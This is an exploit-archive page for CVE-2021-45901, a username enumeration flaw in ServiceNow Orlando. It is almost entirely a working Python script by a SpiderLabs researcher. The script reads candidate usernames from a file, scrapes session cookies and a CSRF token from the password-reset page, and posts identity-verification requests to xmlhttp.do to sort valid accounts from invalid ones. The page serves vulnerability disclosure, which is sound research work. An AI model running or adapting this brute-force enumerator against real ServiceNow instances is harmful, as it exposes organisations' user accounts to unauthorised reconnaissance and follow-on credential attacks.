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ServiceNow Orlando Username Enumeration

ServiceNow Orlando Username Enumeration
Posted Feb 16, 2022
Authored by Victor Hanna

ServiceNow Orlando suffers from a username enumeration vulnerability.

tags | exploit
advisories | CVE-2021-45901
SHA-256 | e94258693065368be6209a3bfb145deea86de78dc2906d1dc9fdd5e741624c42

ServiceNow Orlando Username Enumeration

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# Exploit Title: ServiceNow - Username Enumeration
# Google Dork: NA
# Date: 12 February 2022
# Exploit Author: Victor Hanna (Trustwave SpiderLabs)
# Author Github Page: https://9lyph.github.io/CVE-2021-45901/
# Vendor Homepage: https://www.servicenow.com/
# Software Link: https://docs.servicenow.com/bundle/orlando-servicenow-platform/page/product/mid-server/task/t_DownloadMIDServerFiles.html
# Version: Orlando
# Tested on: MAC OSX
# CVE : CVE-2021-45901

#!/usr/local/bin/python3
# Author: Victor Hanna (SpiderLabs)
# User enumeration script SNOW
# Requires valid 1. JSESSION (anonymous), 2. X-UserToken and 3. CSRF Token

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Decription: SNOW Username Enumerator |")
print ("| Usage : "+sys.argv[0]+" |")
print ("| Prequisite: \'users.txt\' needs to contain list of users |")
print ("[+]********************************************************************************[+]")

def main():
os.system('clear')
banner()
proxies = {
"http":"http://127.0.0.1:8080/",
"https":"http://127.0.0.1:8080/"
}
url = "http://<redacted>/"
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, timeout=10, verify=False, proxies=proxies)
JSESSIONID = r.cookies["JSESSIONID"]
glide_user_route = r.cookies["glide_user_route"]
startTime = (str(time.time_ns()))
# print (startTime[:-6])
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except requests.exceptions.ProxyError:
print ("[!] Can't communicate with proxy !")
sys.exit(1)

with open ("users.txt", "r") as f:
usernames = f.readlines()
print (f"[+] Brute forcing ....")
for users in usernames:
url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"
headers1 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"
}

try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)
obj1 = re.findall(r"pwd_csrf_token", r.text)
obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)
tokenIndex = (r.text.index(obj1[0]))
startTime2 = (str(time.time_ns()))
# userTokenIndex = (r.text.index(obj2[0]))
# userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])
token = (r.text[tokenIndex+45:tokenIndex+73])
url = "http://<redacted>/xmlhttp.do"
headers2 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Content-Length": "786",
"Origin": "http://<redacted>/",
"Connection": "keep-alive",
# "X-UserToken":""+userToken+"",
"Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"
}

data = {
"sysparm_processor": "PwdAjaxVerifyIdentity",
"sysparm_scope": "global",
"sysparm_want_session_messages": "true",
"sysparm_name":"verifyIdentity",
"sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",
"sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",
"sysparm_user_id_0":""+users.strip()+"",
"sysparm_identification_number":"1",
"sysparam_pwd_csrf_token":""+token+"",
"ni.nolog.x_referer":"ignore",
"x_referer":"$pwd_reset.do?sysparm_url=ss_default"
}

payload_str = urllib.parse.urlencode(data, safe=":+")

except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)

try:
# s = requests.Session()
# s.verify = False
time.sleep(2)
r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)
if "500" in r.text:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
elif "200" in r.text:
print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
else:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
except KeyboardInterrupt:
sys.exit()
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL)

if __name__ == "__main__":
main ()

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